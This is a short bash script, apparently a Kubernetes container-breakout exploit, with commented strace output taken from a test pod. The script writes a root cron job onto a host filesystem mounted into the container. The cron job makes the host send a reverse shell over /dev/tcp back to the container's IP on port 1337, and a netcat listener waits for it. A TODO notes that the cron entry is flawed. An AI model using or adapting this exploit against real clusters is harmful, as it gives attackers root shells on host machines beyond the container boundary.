#!/bin/bash
CONTAINER_ADDRESS=$(ip -4 a show eth0 | awk '$1 == "inet" {print $2}' | cut -d/ -f1)
echo -n "* * * * * root /bin/bash -c '/bin/bash -c echo \"\"; echo \"hello from host! " > /host/breakout
echo -n "$" >> /host/breakout
echo -n "(hostname) " >> /host/breakout
echo -n "$" >> /host/breakout
echo "(id)\" >& /dev/tcp/${CONTAINER_ADDRESS}/1337 0>&1'" >> /host/breakout
netcat -l -p 1337 2>&1
sleep infinity 

# TODO: the cron entry is incorrect

# accept(3, root@host-write-exploit-pod:/tmp# cat strace.out.1* | grep breakout
# openat(AT_FDCWD, "/host/breakout", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
# openat(AT_FDCWD, "/host/breakout", O_WRONLY|O_CREAT|O_APPEND, 0666) = 3
# openat(AT_FDCWD, "/host/breakout", O_WRONLY|O_CREAT|O_APPEND, 0666) = 3
# openat(AT_FDCWD, "/host/breakout", O_WRONLY|O_CREAT|O_APPEND, 0666) = 3
# openat(AT_FDCWD, "/host/breakout", O_WRONLY|O_CREAT|O_APPEND, 0666) = 3
# uname({sysname="Linux", nodename="host-write-exploit-pod", ...}) = 0
# write(1, "* * * * * root /bin/bash -c '/bi"..., 74) = 74
# write(1, "$", 1)                        = 1
# write(1, "(hostname) ", 11)             = 11
# write(1, "$", 1)                        = 1
# write(1, "(id)\" >& /dev/tcp/10.244.0.24/13"..., 41) = 41
# write(1, "11: eth0@if34: <BROADCAST,MULTIC"..., 112) = 112
# write(1, "    inet 10.244.0.24/24 brd 10.2"..., 106) = 106
# write(1, "10.244.0.24/24\n", 15)        = 15
# write(1, "10.244.0.24\n", 12)           = 12
# write(1, "whoami\n", 7)                 = 7